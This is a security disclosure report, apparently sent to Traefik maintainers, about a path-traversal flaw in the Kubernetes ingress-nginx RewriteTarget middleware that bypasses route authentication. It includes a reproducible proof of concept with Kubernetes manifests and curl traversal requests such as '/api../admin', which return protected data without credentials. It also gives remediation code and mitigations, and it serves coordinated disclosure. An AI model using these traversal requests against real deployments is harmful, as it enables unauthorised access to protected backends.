Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass

Severity

Proposed severity: Critical

CVSS 3.1: 9.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

• Attack vector: Network
• Attack complexity: Low once the affected routing pattern exists
• Privileges required: None
• User interaction: None
• Scope: Unchanged
• Confidentiality: High
• Integrity: High
• Availability: None

Primary weakness: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Secondary weakness: CWE-288 — Authentication Bypass Using an Alternate Path or Channel

The practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.

Exploitation Preconditions

• The Kubernetes Ingress NGINX provider is enabled.
• A public Ingress uses rewrite-target with a regex that can capture .. adjacent to the matched prefix, such as /api(.*) with /$1.
• A protected router exposes another path on the same backend, such as /admin, and relies on a Traefik authentication or authorization middleware.
• The backend normalizes dot segments before dispatching the request.

These are deployment prerequisites; the remote attacker needs no credentials or special timing.

Affected Components

Confirmed versions

• Traefik v3.7.0 through v3.7.7
• Current master at commit b93f02cd07b79490fb8c8f02e301a7a1ec553195
• Current v3.7 branch at 69259c3acc9d4bdc065cb2e3b83336f7de3e7038

The vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx RewriteTarget implementation.

Code locations

• pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274
  • Converts the Ingress path and rewrite-target annotation directly into dynamic.RewriteTarget configuration.
• pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157
  • Performs capture-based path rewriting and forwards the rewritten path without normalization validation.
• pkg/server/middleware/middlewares.go:346-353
  • Instantiates the vulnerable middleware in the live HTTP chain.

Root Cause

The provider passes the route regex and annotation replacement into the middleware:

loc.RewriteTarget = &dynamic.RewriteTarget{
    Regex:       loc.Path,
    Replacement: rewrite,
}

RewriteTarget.ServeHTTP then derives a path from attacker-controlled capture groups:

newTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)

req.URL.RawPath = newTarget
req.URL.Path, err = url.PathUnescape(req.URL.RawPath)
req.RequestURI = req.URL.RequestURI()

rt.next.ServeHTTP(rw, req)

There is no invariant check between PathUnescape and forwarding to ensure that req.URL.Path equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.

The core ReplacePathRegex middleware now enforces this invariant by calling req.URL.JoinPath() and returning HTTP 400 when normalization changes the replacement. RewriteTarget implements equivalent capture-based behavior but lacks that check.

Default entryPoints.<name>.http.sanitizePath=true does not prevent this issue. Sanitization occurs before routing and before RewriteTarget creates the traversal sequence.

Impact

An unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:

• reading administrative or sensitive data;
• invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE;
• bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router;
• crossing intended public/protected path boundaries with one HTTP request.

The middleware is method-agnostic, so the issue is not limited to read-only requests.

Proof of Concept

Validation Environment

• Traefik v3.7.7 official Linux amd64 release
• Release archive SHA-256 verified as 5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba
• Default sanitizePath=true
• Node.js v24 backend
• Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture

No Traefik source files were modified.

1. Create the normalizing backend

Save as backend.js:

const http = require("http");
const path = require("path");

http.createServer((req, res) => {
  const rawPath = req.url.split("?", 1)[0];
  const normalizedPath = path.posix.normalize(rawPath);
  const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");

  const body = JSON.stringify({
    rawPath,
    normalizedPath,
    result: protectedPath ? "ADMIN_SECRET_DATA" : "PUBLIC",
  });

  res.writeHead(200, { "Content-Type": "application/json" });
  res.end(body);
}).listen(19090, "127.0.0.1");

Run it:

node backend.js

2. Apply the Kubernetes objects

The ExternalName service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.

apiVersion: v1
kind: Secret
metadata:
  name: basic-auth
  namespace: default
type: Opaque
stringData:
  auth: |
    admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: default
spec:
  type: ExternalName
  externalName: localhost
  ports:
    - name: http
      port: 19090
      targetPort: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: public-api
  namespace: default
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/use-regex: "true"
    nginx.ingress.kubernetes.io/rewrite-target: "/$1"
spec:
  rules:
    - http:
        paths:
          - path: /api(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: backend
                port:
                  number: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: protected-admin
  namespace: default
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/auth-type: basic
    nginx.ingress.kubernetes.io/auth-secret: basic-auth
    nginx.ingress.kubernetes.io/auth-realm: Authentication Required
spec:
  rules:
    - http:
        paths:
          - path: /admin
            pathType: Prefix
            backend:
              service:
                name: backend
                port:
                  number: 19090

kubectl apply -f poc.yaml

3. Run unmodified Traefik v3.7.7

KUBECONFIG="$HOME/.kube/config" ./traefik \
  --entryPoints.web.address=127.0.0.1:18080 \
  --providers.kubernetesIngressNginx.watchNamespace=default \
  --providers.kubernetesIngressNginx.httpEntryPoint=web \
  --global.checkNewVersion=false \
  --log.level=DEBUG

Traefik generates the following relevant dynamic configuration:

{
  "rule": "PathRegexp(\"(?i)^/api(.*)\")",
  "middlewares": ["...-rewrite-target"],
  "rewriteTarget": {
    "regex": "/api(.*)",
    "replacement": "/$1"
  }
}

The protected router separately contains a BasicAuth middleware and a PathRegexp("(?i)^/admin") rule.

4. Confirm authentication is enforced

curl --path-as-is -i http://127.0.0.1:18080/admin

Observed:

HTTP/1.1 401 Unauthorized

5. Exploit the traversal rewrite

Plain variant:

curl --path-as-is -i http://127.0.0.1:18080/api../admin

Observed:

HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}

Percent-encoded variant:

curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin

Observed:

HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}

The direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.

Remediation

Apply the same post-rewrite normalization invariant used by the patched ReplacePathRegex middleware. After decoding RawPath, normalize a copy and reject the request if normalization changes Path:

path := req.URL.Path
if path != "" {
    req.URL = req.URL.JoinPath()
}

if path != req.URL.Path {
    logger.Debug().Msgf(
        "Rejecting request, normalized path %q differs from rewritten path %q",
        req.URL.Path,
        path,
    )
    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}

req.RequestURI = req.URL.RequestURI()

Recommended additional actions:

1. Centralize the post-transformation path validation used by ReplacePathRegex, StripPrefix, StripPrefixRegex, and ingress-nginx RewriteTarget to prevent future drift.
2. Add regression tests for /api../admin and /api%2e%2e/admin, expecting HTTP 400.
3. Test both URL.Path and URL.RawPath cases and preserve legitimate encoded-path behavior.
4. Audit the ingress-nginx snippet rewrite implementation for the same post-rewrite invariant.

Temporary Mitigation

Use a regex that requires a separator or end-of-path before captured user data, for example:

nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$2"

# Ingress path:
path: /api(/|$)(.*)

This prevents /api../admin from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point sanitizePath=true alone is not a mitigation because the dangerous dot segment is created after sanitization.

Duplicate Check

As of 2026-07-09:

• Traefik's public security advisories contain no entry mentioning RewriteTarget or ingress-nginx rewrite-target path traversal.
• Public issue and pull-request searches found no report for this path-normalization bypass.
• GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes pkg/middlewares/replacepathregex, while this report affects pkg/middlewares/ingressnginx/rewritetarget and reproduces on the version that contains that fix, v3.7.7.

Disclosure

If confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.